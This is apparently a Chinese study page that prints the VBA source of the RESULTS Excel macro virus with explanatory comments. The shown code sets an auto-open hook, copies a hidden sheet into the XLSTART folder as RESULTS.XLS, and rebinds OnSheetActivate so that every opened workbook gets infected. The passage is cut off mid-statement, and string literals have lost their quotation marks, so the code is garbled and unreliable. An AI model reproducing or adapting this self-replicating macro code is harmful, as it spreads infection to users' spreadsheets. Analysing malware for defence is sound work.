RESULTS宏病毒学习与处理方法.docVIP

RESULTS宏病毒学习与处理方法 Sub auto_open() Application.OnSheetActivate = ck_files 这个auto_open，是文件打开自动执行。由于本文件是放在xlstart文件夹，任何excel文件启动，都会先打开这个文件。 End Sub Sub ck_files() c$ = Application.StartupPath 取得xlstart文件夹的路径 m$ = Dir(c$ \ RESULTS.XLS) 取得results.xls文件名 If m$ = RESULTS.XLS Then p = 1 Else p = 0 如果result文件不存在，m$是 If ActiveWorkbook.Modules.Count 0 Then w = 1 Else w = 0 判断活动工作簿的模块数量。这个活动工作簿，不是results.xls，是你正常打开的那个工作簿。 whichfile = p + w * 10 这个whichfile变量，是10的话，就是当前活动工作簿有模块，而xlstart中没有resutlts.xls，是1的话，则相反。 Select Case whichfile Case 10 当前活动工作簿有模块，而xlstart中没有resutlts.xls执行以下代码 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets(results).Visible = True Sheets(results).Select Sheets(results).Copy 将results工作表 copy 出来，新建一个工作簿。这个工作簿就是下面的活动工作簿了。 With ActiveWorkbook .Title = 帮助中说这是保存为网页时，文档的名称，现在是空白的。 .Subject = 帮助中说这是发邮件时，作为邮件主题 .Author = 文档作者 .Keywords = 关键词 .Comments = 注释 End With newname$ = ActiveWorkbook.Name c4$ = CurDir() 得到当前驱动器路径,比如C:\,E:\ ChDir Application.StartupPath 改变路径到xlstart ActiveWindow.Visible = False Workbooks(newname$).SaveAs Filename:=Application.StartupPath / RESULTS.XLS, FileFormat:=xlNormal _ , Password:=, WriteResPassword:=, ReadOnlyRecommended:= _ False, CreateBackup:=False 关键的地方，由于新建工作簿包含results，而xlstart文件夹中没有，所以将新建工作簿以results.xls名保存在xlstart文件夹中。 ChDir c4$ 保存结束，重新转入到原来正常使用的工作簿的路径 Workbooks(n4$).Sheets(results).Visible = False 隐藏results工作表 Application.OnSheetActivate = 如果你原来就有onsheetactivate的变量，这儿被它改了。 Application.ScreenUpdating = True Application.OnSheetActivate = RESULTS.XLS!ck_files 每次将工作表变动一下就会执行这个代码。如果你有好多工作簿，都操作一遍，那么全部染上它了。 Case 1 当前活动工作簿没有模块，而xlstart中有resutlts.xls Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name If s$